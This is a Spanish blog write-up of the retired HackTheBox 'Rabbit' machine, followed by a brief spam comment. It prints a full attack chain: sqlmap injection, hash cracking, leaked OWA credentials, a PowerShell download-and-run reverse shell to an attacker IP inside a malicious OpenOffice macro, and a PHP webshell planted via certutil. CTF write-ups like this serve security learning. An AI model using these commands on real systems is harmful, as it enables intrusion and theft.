En este post haremos la máquina Rabbit de HackTheBox, acaban de retirarla y no hay mejor momento para enseñaros cómo la resolví.
Es una maquina Windows de un nivel alto que es una de mis favoritas y en la que aprendí varias técnicas útiles.
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.10.10.71
Vamos a enumerar los servicios web con Gobuster:
Tras revisar las paginas descubiertas y comerme varios rabbit holes, encontramos un Complain Management System
Usaremos Searchsploit para buscar vulnerabilidades de Complain Management System:
https://www.exploit-db.com/exploits/42968/
Tal y como leemos, lo primero sera registrarnos como ‘Customer’ y con la cookie PHPSESSID + sqlmap obtendremos acceso a las bases de datos.
sqlmap -u 'http://10.10.10.71:8080/complain/view.php?mod=admin&view=repod&id=plans' --cookie='PHPSESSID= ' -D secret -T users --dump
Crackeamos los hashes obtenidos con John:
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Explotación
¿Dónde usamos ahora estas credenciales obtenidas? Pues vamos a probar en https://10.10.10.71/owa
Tras varias pruebas encontramos unas credenciales válidas:
Ariel:pussycatdolls
Una vez hemos entrado al /owa lo primero será revisar los mails:
Tal y como leemos en estos mails, podríamos usar un Open Office malicioso para obtener shell pero teniendo en cuenta la restricción de PowerShell y que el Defender está activado.
En metasploit encontramos un exploit que podría servirnos:
exploit/multi/misc/openoffice_document_macro
Renombramos el fichero obtenido por .zip para poder editarlo.
Editamos el fichero y sustituimos el payload por:
powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.20/powercat.ps1');powercat -c 10.10.14.20 -p 1234 -e cmd
Al tener que bypassear la restricción de PowerShell podemos usar la opción -version 2:
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.20/powercat.ps1');powercat -c 10.10.14.20 -p 1234 -e cmd
Post-Explotación
Vemos que el servicio web del puerto 8080 lo ejecuta wamp64. A veces este servicio es ejecutado como system.
Veamos si tenemos permisos de escritura y quién está ejecutandolo:
Subimos una webshell en php:
echo '<php echo system($_GET["cmd"]);?>' > cmd.php
certutil -urlcache -split -f http://10.10.14.16/cmd.php c:\wamp64\www\cmd.php
Ya podemos leer el flag e incluso obtener shell como System fácilmente.
Excellent post!! I read your blog quite often and you have some great content!!
I shared this post on facebook and Twitter as well!!
Thanks!!
Scott from https://highlevelstudios.com/